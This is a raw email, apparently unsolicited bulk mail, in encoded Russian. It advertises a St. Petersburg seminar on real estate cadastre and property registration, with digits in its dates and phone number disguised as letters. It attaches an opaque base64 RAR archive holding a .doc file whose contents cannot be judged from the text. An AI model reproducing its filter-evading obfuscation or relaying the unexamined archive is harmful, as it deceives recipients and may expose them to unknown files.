=EE=F1=F3=F9=E5=F1=F2=E2=E8=F2=FC =ED= =E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2=E8=FF =EF=EE =EF=E0=F1=EF= =EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8 =EF=F0= =E0=E2 =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3 =F3=F7=E5=F2=F3? =CA=E0=EA= =E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3=E6=E1=FB =EE=F2=E2=E5=F7= =E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE =ED=E5=E4=E2=E8=E6=E8=EC= =EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8= =F1=E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC= =EF=EB=E5=EA=F1=EE=EC? =D1=E0=EC=FB=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2= =EE=EF=F0=EE=F1=FB =E8 =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED=E8= =FF =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=EC =EC=E5=F0=EE=EF=F0= =E8=FF=F2=E8=E8 =E2 =E3=EE=F0=EE=E4=E5 =D1.-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5= : =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE= =F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8=FF =E8 =EF=F0=E5=E4= =EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8=E9; =EC=E5=E6=E5=E2= =E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0;= =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5= =E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 =EF=F0. =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E7= =E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0=E5= =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2= =FC=FE; =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5= =ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2= =E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0=E2 =ED=E0 =EE=E1= =FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1= =EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB= =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8; =F2=F0=E5=E1=EE=E2=E0=ED= =E8=FF =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1= =EE=EE=F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1= N =C7=C77-=D4=C7 =EE=F2 28.Il.2=EElI =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB= =E5=E9; =20 __________ =CC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED= =ED=EE=E5 =F1 =CE7 =EF=EE 08 =EE=EA=F2=FF=E1=F0=FF 20l=C7 =E3=EE=E4=E0, =E3=EE=F0=EE= =E4 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8 =E8 =E7=E0=EF=E8=F1=FC : ( =CF=E8=F2=E5=F0 ) 98=3D6 . 9=C7 .. =D77 ------=_NextPart_001_2620_01CEAF7F.8F2F9250 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Untitled Document

"=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8: =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF, =EA=E0=E4=E0=F1=F2=F0, =EE= =F4=EE=F0=EC=EB=E5=ED=E8=E5 =EF=F0=E0=E2."


=CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0= =E2=EE =ED=E0 =EE=E1=FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2= =EE=E7=ED=E8=EA=E0=E5=F2 =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1. =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8. =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9= =E5=F1=F2=E2=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2= =E8=FF =EF=EE =EF=E0=F1=EF=EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =EF=F0=E0=E2 =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3= =F3=F7=E5=F2=F3? =CA=E0=EA=E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3= =E6=E1=FB =EE=F2=E2=E5=F7=E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE= =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CA=E0=EA= =EF=F0=EE=E2=E5=F1=F2=E8 =F1=E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2= =E5=ED=ED=FB=EC =EA=EE=EC=EF=EB=E5=EA=F1=EE=EC?

=D1=E0=EC=FB=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF= =F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8 =EF=EE=F1=EB=E5=E4=ED=E8=E5= =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED= =EE=EC =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E8 =E2 =E3=EE=F0=EE=E4=E5 =D1= .-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5:

    =20
  • =EA=E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5= =E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8= =FF =E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8= =E9;
  • =EC=E5=E6=E5=E2=E0=ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0= =EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0; =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2= =E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5=E5=F1=F2=F0=E0, =C1=D2=C8=A0 =E8 = =EF=F0.
  • =EF=EE=F1=EB=E5=E4=ED=E8=E5 = =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0= =E5 =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8= =F1=F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=FC=FE;
  • =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1= =F2=E0=E2=EB=E5=ED=E8=FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2= =E5=EB=FC=F1=F2=E2=EE; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0= =E2 =ED=E0 =EE=E1=FA=E5=EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2= =E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE= =E1=FA=E5=EA=F2=FB =E8 =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8;
  • =F2=F0=E5=E1=EE=E2=E0=ED=E8=FF= =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE=EE= =F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N =C7= =C77-=D4=C7 =EE=F2 28.Il.2=EElI
  • =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB=E5=E9;
  • =20

__________

=CC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=E5

=F1 =CE7 =EF=EE 08 =EE=EA=F2=FF= =E1=F0=FF 20l=C7 =E3=EE=E4=E0, =E3=EE=F0=EE=E4 =D1=E0=ED=EA=F2-=CF=E5=F2=E5= =F0=E1=F3=F0=E3

=CA=EE=ED=F1=F3=EB=FC=F2=E0=F6= =E8=E8 =E8 =E7=E0=EF=E8=F1=FC :

( =CF=E8=F2=E5=F0 ) 9= 8=3D6 . 9=C7 .. =D77

------=_NextPart_001_2620_01CEAF7F.8F2F9250-- ------=_NextPart_000_261F_01CEAF7F.8F2F9250 Content-Type: application/octet-stream; name="plan(programma)___.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="plan(programma)___.rar" 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 